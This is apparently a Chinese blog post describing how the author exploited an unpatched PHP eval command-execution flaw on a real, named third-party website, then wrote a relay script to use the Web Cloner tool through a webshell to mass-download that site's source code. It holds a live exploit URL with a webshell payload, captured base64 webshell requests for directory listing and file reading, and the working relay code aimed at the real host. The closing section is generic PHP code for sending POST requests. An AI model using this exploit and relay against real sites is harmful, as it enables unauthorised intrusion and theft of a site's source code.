最新消息:

一个网站命令执行漏洞的学习与web cloner工具的使用

PHP admin 3860浏览 0评论

一、起因

脚本之家某分站命令执行漏洞(http://wooyun.org/bugs/wooyun-2010-050747)公布了,但是网站漏洞没有补,命令执行仍存在:http://tools.jb51.net/mingfang/index.php?q={${eval($_POST[a])}}。查找了一圈没有找到有用的数据信息,就想把网站源码给下下来分析一下。

二、漏洞成因

菜刀连上后找到存在漏洞的页面:f:\webroot\toolsjb51\web\mingfang\index.php,最终定位到:@eval(“eregi(\”$keyword[0]\”,\”$detail\”);”);,即上述代码导致网站存在命令执行漏洞(ps:$keyword[0]的内容就是q参数的内容)。从漏洞exp:q={${eval($_POST[a])}}可以看出导致漏洞的原因是双引号中的字符串可以被解释,即存在变量时会被实际内容替换。

$h="$_GET[q]";

则$h的内容就不会是不同字符串’$_GET[q]’,而是输入的q参数的实际内容。通常情况下,即使是将双引号中的内容可以被解释执行,也不会造成命令执行漏洞。@eval(“eregi(\”$keyword[0]\”,\”$detail\”);”);此处造成命令执行漏洞是因为使用eval执行了函数eregi,导致两次对双引号字符串的解释执行。

(1)首先执行eval函数,因为参数是双引号字符串,所以解释替换其中的变量,参数变为:

eregi("{${eval($_POST[a])}}","123");

(2)执行eregi函数,该函数发现参数是双引号字符串,继续解释字符串,即解释${eval($_POST[a])},而这个字符串是一个标准的webshell代码,就会造成网站存在命令执行漏洞,通过此漏洞获取到webshell。

三、工具介绍

ps:知道漏洞成因后,发现网站功能挺多的,想下载其网站的源码学习一下,但是发现网站没有写权限,不能上传大马来进行文件压缩,也不能执行命令。权限限制的很严,如果用菜刀一个一个文件下载我可没这耐心。只能在网上找一下有没有现成的工具。

最后找到工具:Web Cloner v0.1(http://www.jinglingshu.wiki/?p=5054)。该工具就提供利用webshell批量下载网站文件的功能。但是利用时发现程序存在bug,只能识别<?php eval($_REQUEST[A]) ?>等基本的webshell,http://tools.jb51.net/mingfang/index.php?q={${eval($_POST[a])}}会提醒密码错误,原来该webshell要执行${eval($_POST[a])}好几次,而且还要打印其他一些无用的信息,导致该工具无法识别。

20140411212602

看来无法直接利用该工具,看看该工具的原理。既然知道工具无法使用是因为除了webshell语句的执行结果还有其他一些原先网页存在的页面信息,我们可以在webshell语句的后面加exit;来结束掉后面的语句就可以了。

20140411213102

 

因此,我们可以写一个中转程序来实现在Web Cloner v0.1发送的webshell代码后面加上exit;,这样就可以直接利用Web Cloner v0.1了。

四、中转程序

首先分析一下Web Cloner 的原理,这样我们才能在Web Cloner发送的内容后面加上exit;。

(1)获取目录文件列表

POST /mingfang/index.php?q={${eval($_POST[a])}} 
HTTP/1.1Host: tools.jb51.net
User-Agent: newLISP v10408
Connection: close
Content-type: application/x-www-form-urlencoded
Content-length: 401

a=@eval(base64_decode($_POST[w]));&w=JGRpcj1jaHIoNDYpO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtpZihpc19kaXIoJGRpcikpe3ByaW50KGltcGxvZGUoY2hyKDEpLChzdHJfcmVwbGFjZSgkZGlyLiIvIiwiIiwoYXJyYXlfbWVyZ2UoZ2xvYigkZGlyLiIvKiIsR0xPQl9NQVJLKSxnbG9iKCRkaXIuIi8uKiIsR0xPQl9NQVJLKSkpKSkpKTt9ZWxzZXtwcmludChpbXBsb2RlKGNocigxKSwoc2NhbmRpcigkZGlyKSkpKTt9

将内容解码后内容为:

$dir=chr(46);
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(is_dir($dir))
{	print(implode(chr(1),(str_replace($dir."/","",(array_merge(glob($dir."/*",GLOB_MARK),glob($dir."/.*",GLOB_MARK)))))));
}
else
{
print(implode(chr(1),(scandir($dir))));
}

可以看到中转程序获取文件列表时只要将w参数base64解码后,在后面加上exit;后,再进行base64编码即可。

(2)下载文件

抓包获取数据为:

a=$df=chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(109).chr(102).chr(46).chr(100).chr(97).chr(116);@readfile($df);

可以看到中转程序下载文件时只要在a参数内容后在后面直接加上exit;即可。

所以,最终中转程序如下:

<?php
$url='http://tools.jb51.net/mingfang/index.php?q={${eval($_POST[a])}}';
if(isset($_POST['w']))
{
$data=base64_encode(base64_decode($_POST[w]).';exit;');
$post=array('a'=>'@eval(base64_decode($_POST[w]));','w'=>$data);
$context=array('http'=>array('method'=>'POST','content'=>http_build_query($post, '', '&'),));
}
else
{
$data=$_POST['a'].'exit;';
$post=array('a'=>$data);
$context=array('http'=>array('method'=>'POST','content'=>http_build_query($post, '', '&'),));
}

$stream_context=stream_context_create($context);
$data=file_get_contents($url,FALSE,$stream_context);
print $data;
?>

——————————————————————————————

ps:上面程序中利用到了file_get_contents()来发送POST数据包。

1、file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

file_get_contents(path,include_path,context,start,max_length)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1”。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。

2、php中使用Curl、socket、file_get_contents三种方法POST提交数据

<?php
/**
* Socket版本
* 使用方法:
* $post_string = "app=socket&version=beta";
* request_by_socket('jb51.net','/restServer.php',$post_string);
*/
function request_by_socket($remote_server,$remote_path,$post_string,$port = 80,$timeout = 30){
$socket = fsockopen($remote_server,$port,$errno,$errstr,$timeout);
if (!$socket) die("$errstr($errno)");
fwrite($socket,"POST $remote_path HTTP/1.0");
fwrite($socket,"User-Agent: Socket Example");
fwrite($socket,"HOST: $remote_server");
fwrite($socket,"Content-type: application/x-www-form-urlencoded");
fwrite($socket,"Content-length: ".strlen($post_string)+8."");
fwrite($socket,"Accept:*/*");
fwrite($socket,"");
fwrite($socket,"mypost=$post_string");
fwrite($socket,"");
$header = "";
while ($str = trim(fgets($socket,4096))) {
$header.=$str;
}
$data = "";
while (!feof($socket)) {
$data .= fgets($socket,4096);
}
return $data;
}
/**
* Curl版本
* 使用方法:
* $post_string = "app=request&version=beta";
* request_by_curl('http://jb51.net/restServer.php',$post_string);
*/
function request_by_curl($remote_server,$post_string){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$remote_server);
curl_setopt($ch,CURLOPT_POSTFIELDS,'mypost='.$post_string);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,"Jimmy's CURL Example beta");
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
/**
* 其它版本
* 使用方法:
* $post_string = "app=request&version=beta";
* request_by_other('http://jb51.net/restServer.php',$post_string);
*/
function request_by_other($remote_server,$post_string){
$context = array(
'http'=>array(
'method'=>'POST',
'header'=>'Content-type: application/x-www-form-urlencoded'."".
'User-Agent : Jimmy's POST Example beta'."".
'Content-length: '.strlen($post_string)+8,
'content'=>'mypost='.$post_string)
);
$stream_context = stream_context_create($context);
$data = file_get_contents($remote_server,FALSE,$stream_context);
return $data;
}
?>
<?php  
function Post($url, $post = null)  
{  
    $context = array();  

    if (is_array($post))  
    {  
        ksort($post);  

        $context['http'] = array  
        (  
            'method' => 'POST',  
            'content' => http_build_query($post, '', '&'),  
        );  
    }  

    return file_get_contents($url, false, stream_context_create($context));  
}  

$data = array  
(  
    'name' => 'test',  
    'email' => 'test@gmail.com',  
    'submit' => 'submit',  
);  

echo Post('http://localhost/5-5/request_post_result.php', $data);  
?>

 

转载请注明:jinglingshu的博客 » 一个网站命令执行漏洞的学习与web cloner工具的使用

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址